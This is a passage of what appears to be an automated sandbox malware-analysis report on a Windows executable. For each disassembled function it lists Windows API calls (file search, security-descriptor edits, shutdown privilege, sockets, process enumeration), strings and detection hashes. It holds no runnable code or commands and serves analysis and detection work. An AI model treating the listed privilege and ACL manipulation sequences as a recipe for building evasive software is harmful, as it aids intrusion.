                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?), ref: 00434C77
                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 00434C88
                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 00434C9C
                                                                                                                                                  • FindFirstFileW.KERNEL32(*.*,?), ref: 00434CB7
                                                                                                                                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00434CFE
                                                                                                                                                  • SetCurrentDirectoryW.KERNEL32(0048A090), ref: 00434D22
                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,00000010), ref: 00434D2A
                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 00434D35
                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 00434D43
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                                                                                                                  • String ID: *.*
                                                                                                                                                  • API String ID: 1409584000-438819550
                                                                                                                                                  • Opcode ID: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                                                                  • Instruction ID: 399dbb17912f16e5170155dcc5475d9346bc7ba5aa4a4c8a0ea4d4714b2c7a66
                                                                                                                                                  • Opcode Fuzzy Hash: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                                                                                                  • Instruction Fuzzy Hash: 4141D8726042086BD710EF64DC45AEFB3A8AAC9311F14592FFD54C3280EB79E915C7B9
                                                                                                                                                  Function 00444078 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 94timesleepCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Timetime$Sleep
                                                                                                                                                  • String ID: @U=u$BUTTON
                                                                                                                                                  • API String ID: 4176159691-2582809321
                                                                                                                                                  • Opcode ID: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                                                                                  • Instruction ID: 32c89cc89acb3c111fc3cc5f781edb0c57d51ec263d79eeef99f8852f1a29925
                                                                                                                                                  • Opcode Fuzzy Hash: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                                                                                                  • Instruction Fuzzy Hash: CB21B7723843016BE330DB74FD4DF5A7B94A7A5B51F244876F600E6290D7A5D442876C
                                                                                                                                                  Function 00445DD3 Relevance: 18.2, APIs: 12, Instructions: 179COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 004392DE
                                                                                                                                                    • Part of subcall function 004392BC: GetLastError.KERNEL32 ref: 004392E4
                                                                                                                                                    • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0043930B
                                                                                                                                                    • Part of subcall function 0043928B: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004392A5
                                                                                                                                                  • GetSecurityDescriptorDacl.ADVAPI32(?,00000004,?,?,?,?), ref: 00445E4B
                                                                                                                                                  • _memset.LIBCMT ref: 00445E61
                                                                                                                                                  • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00445E83
                                                                                                                                                  • GetLengthSid.ADVAPI32(?), ref: 00445E92
                                                                                                                                                  • GetAce.ADVAPI32(?,00000000,?,?,00000018), ref: 00445EDE
                                                                                                                                                  • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00445EFB
                                                                                                                                                  • GetLengthSid.ADVAPI32(?,?,00000018), ref: 00445F11
                                                                                                                                                  • GetLengthSid.ADVAPI32(?,00000008,?,?,00000000,?,00000000), ref: 00445F39
                                                                                                                                                  • CopySid.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00445F40
                                                                                                                                                  • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?,?,00000000,?,00000000), ref: 00445F6E
                                                                                                                                                  • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,00000000,?,00000000), ref: 00445F8B
                                                                                                                                                  • SetUserObjectSecurity.USER32(?,?,?), ref: 00445FA0
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3490752873-0
                                                                                                                                                  • Opcode ID: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                                                                                  • Instruction ID: 491154c1e478dcf6c9ac3cbca3c2c9e2645d4ee7bbdc2abf5fae4ada557f6fe4
                                                                                                                                                  • Opcode Fuzzy Hash: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                                                                                                  • Instruction Fuzzy Hash: 85519D71108301ABD610DF61CD84E6FB7E9AFC9B04F04491EFA869B242D778E909C76B
                                                                                                                                                  Function 0047A999 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 288comCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • OleInitialize.OLE32(00000000), ref: 0047AA03
                                                                                                                                                  • CLSIDFromProgID.OLE32(00000000,?), ref: 0047AA27
                                                                                                                                                  • CoCreateInstance.OLE32(?,00000000,00000005,004829C0,?), ref: 0047AAAA
                                                                                                                                                  • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0047AB6B
                                                                                                                                                  • _memset.LIBCMT ref: 0047AB7C
                                                                                                                                                  • _wcslen.LIBCMT ref: 0047AC68
                                                                                                                                                  • _memset.LIBCMT ref: 0047ACCD
                                                                                                                                                  • CoCreateInstanceEx.OLE32 ref: 0047AD06
                                                                                                                                                  • CoSetProxyBlanket.OLE32(004829D0,?,?,?,?,?,?,00000800), ref: 0047AD53
                                                                                                                                                  Strings
                                                                                                                                                  • NULL Pointer assignment, xrefs: 0047AD84
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CreateInitializeInstance_memset$BlanketFromProgProxySecurity_wcslen
                                                                                                                                                  • String ID: NULL Pointer assignment
                                                                                                                                                  • API String ID: 1588287285-2785691316
                                                                                                                                                  • Opcode ID: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                                                                                                  • Instruction ID: 16786b45dbc5194aa398acfc0f0ff3b91b98a178c64a073a91da7f4e0cb75f58
                                                                                                                                                  • Opcode Fuzzy Hash: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                                                                                                  • Instruction Fuzzy Hash: 54B10DB15083409FD320EF65C881B9FB7E8BBC8744F108E2EF58997291D7759948CB66
                                                                                                                                                  Function 004364AA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 79shutdownCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetCurrentProcess.KERNEL32(00000028,?), ref: 004364B9
                                                                                                                                                  • OpenProcessToken.ADVAPI32(00000000), ref: 004364C0
                                                                                                                                                  • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004364D6
                                                                                                                                                  • AdjustTokenPrivileges.ADVAPI32 ref: 004364FE
                                                                                                                                                  • GetLastError.KERNEL32 ref: 00436504
                                                                                                                                                  • ExitWindowsEx.USER32(?,00000000), ref: 00436527
                                                                                                                                                  • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000001), ref: 00436557
                                                                                                                                                  • SetSystemPowerState.KERNEL32(00000001,00000000), ref: 0043656A
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
                                                                                                                                                  • String ID: SeShutdownPrivilege
                                                                                                                                                  • API String ID: 2938487562-3733053543
                                                                                                                                                  • Opcode ID: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                                                                  • Instruction ID: b625d7910520021a286729d09db348b3c4b0b131b75d5259d4bd29649b467962
                                                                                                                                                  • Opcode Fuzzy Hash: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                                                                                  • Instruction Fuzzy Hash: E021D5B02803017FF7149B64DD4AF6B3398EB48B10F948829FE09852D2D6BDE844973D
                                                                                                                                                  Function 0043614F Relevance: 16.6, APIs: 11, Instructions: 103COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • __swprintf.LIBCMT ref: 00436162
                                                                                                                                                  • __swprintf.LIBCMT ref: 00436176
                                                                                                                                                    • Part of subcall function 0041353A: __woutput_l.LIBCMT ref: 0041358F
                                                                                                                                                  • __wcsicoll.LIBCMT ref: 00436185
                                                                                                                                                  • FindResourceW.KERNEL32(?,?,0000000E), ref: 004361A6
                                                                                                                                                  • LoadResource.KERNEL32(?,00000000), ref: 004361AE
                                                                                                                                                  • LockResource.KERNEL32(00000000), ref: 004361B5
                                                                                                                                                  • FindResourceW.KERNEL32(?,?,00000003), ref: 004361DA
                                                                                                                                                  • LoadResource.KERNEL32(?,00000000), ref: 004361E4
                                                                                                                                                  • SizeofResource.KERNEL32(?,00000000), ref: 004361F0
                                                                                                                                                  • LockResource.KERNEL32(?), ref: 004361FD
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll__woutput_l
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2406429042-0
                                                                                                                                                  • Opcode ID: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                                                                  • Instruction ID: 79d88324f8a28cdfdddc37bd7103cac5134eefaeeaedb246b69d205017f9fa0d
                                                                                                                                                  • Opcode Fuzzy Hash: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                                                                                  • Instruction Fuzzy Hash: 82313432104210BFD700EF64ED88EAF77A9FB89304F00882BFA4196150E778D940CB68
                                                                                                                                                  Function 0045D517 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 91COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SetErrorMode.KERNEL32(00000001), ref: 0045D522
                                                                                                                                                  • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,?), ref: 0045D593
                                                                                                                                                  • GetLastError.KERNEL32 ref: 0045D59D
                                                                                                                                                  • SetErrorMode.KERNEL32(?), ref: 0045D629
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Error$Mode$DiskFreeLastSpace
                                                                                                                                                  • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                                                                                                  • API String ID: 4194297153-14809454
                                                                                                                                                  • Opcode ID: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                                                                                  • Instruction ID: 49a1caac5541b587bc648ef7caa6256b54369420b38b3993b587487a6931f65b
                                                                                                                                                  • Opcode Fuzzy Hash: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                                                                                  • Instruction Fuzzy Hash: BA31AD75A083009FC310EF55D98090BB7E1AF89315F448D6FF94997362D778E9068B6A
                                                                                                                                                  Function 0047AD92 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251comCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • MkParseDisplayName.OLE32(?,00000000,?,?), ref: 0047AF0F
                                                                                                                                                    • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                    • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                    • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                    • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                  • OleInitialize.OLE32(00000000), ref: 0047AE06
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                    • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                  • _wcslen.LIBCMT ref: 0047AE18
                                                                                                                                                  • CreateBindCtx.OLE32(00000000,?), ref: 0047AEC2
                                                                                                                                                  • CLSIDFromProgID.OLE32(00000000,?,?), ref: 0047AFCC
                                                                                                                                                  • GetActiveObject.OLEAUT32(?,00000000,?), ref: 0047AFF9
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CopyVariant$_wcslen$ActiveBindCreateDisplayErrorFromInitializeLastNameObjectParseProg_wcscpy
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 1915432386-2761332787
                                                                                                                                                  • Opcode ID: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                                                                                  • Instruction ID: 7e3b4e38c6064d991530b19baaff212313fd3e9d55f264e0ba959e8ba912c45c
                                                                                                                                                  • Opcode Fuzzy Hash: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                                                                                  • Instruction Fuzzy Hash: 6C915C71604301ABD710EB65CC85F9BB3E8AFC8714F10892EF64597291EB78E909CB5A
                                                                                                                                                  Function 0044ED9A Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 448COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID: DEFINE$`$h$h
                                                                                                                                                  • API String ID: 0-4194577831
                                                                                                                                                  • Opcode ID: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                                                                                                  • Instruction ID: b1cbab3e2140d6a963e4b85c5b61650905c2e88cbb7a9c7ccaf19de07e543520
                                                                                                                                                  • Opcode Fuzzy Hash: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                                                                                                  • Instruction Fuzzy Hash: 9802A1715083818FE725CF29C88076BBBE2BFD5304F28896EE89587342D779D849CB56
                                                                                                                                                  Function 0046483C Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • socket.WSOCK32(00000002,00000001,00000006,?,00000000), ref: 004648B0
                                                                                                                                                  • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,?,00000000), ref: 004648BE
                                                                                                                                                  • bind.WSOCK32(00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648DA
                                                                                                                                                  • WSAGetLastError.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648E6
                                                                                                                                                  • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000005,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 0046492D
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ErrorLast$bindclosesocketsocket
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2609815416-0
                                                                                                                                                  • Opcode ID: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                                                                                  • Instruction ID: d240999dee57073d64b91b26c15bb406cb7727aead8f71c00845428af50f987f
                                                                                                                                                  • Opcode Fuzzy Hash: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                                                                                  • Instruction Fuzzy Hash: C731CB712002009BD710FF2ADC81B6BB3E8EF85724F144A5FF594A72D2D779AC85876A
                                                                                                                                                  Function 0043701F Relevance: 10.6, APIs: 7, Instructions: 76processCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • CreateToolhelp32Snapshot.KERNEL32 ref: 00437043
                                                                                                                                                  • Process32FirstW.KERNEL32(00000000,00000002), ref: 00437050
                                                                                                                                                  • Process32NextW.KERNEL32(00000000,?), ref: 00437075
                                                                                                                                                  • __wsplitpath.LIBCMT ref: 004370A5
                                                                                                                                                    • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                  • _wcscat.LIBCMT ref: 004370BA
                                                                                                                                                  • __wcsicoll.LIBCMT ref: 004370C8
                                                                                                                                                  • CloseHandle.KERNEL32(00000000,?), ref: 00437105
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2547909840-0
                                                                                                                                                  • Opcode ID: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                                                                  • Instruction ID: d866d71778569fbbd99b025f777f77cc3db9ba9c83dfb601fa45888e96c7797d
                                                                                                                                                  • Opcode Fuzzy Hash: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                                                                  • Instruction Fuzzy Hash: 9C21A7B20083819BD735DB55C881BEFB7E8BB99304F00491EF5C947241EB79A589CB6A
                                                                                                                                                  Function 00452126 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127filesleepCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • FindFirstFileW.KERNEL32(?,?,?,?,?,00000000), ref: 0045217E
                                                                                                                                                  • Sleep.KERNEL32(0000000A,?,?,00000000), ref: 004521B2
                                                                                                                                                  • FindNextFileW.KERNEL32(?,?,?,00000000), ref: 004522AC
                                                                                                                                                  • FindClose.KERNEL32(?,?,00000000), ref: 004522C3
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Find$File$CloseFirstNextSleep_wcslen
                                                                                                                                                  • String ID: *.*
                                                                                                                                                  • API String ID: 2693929171-438819550
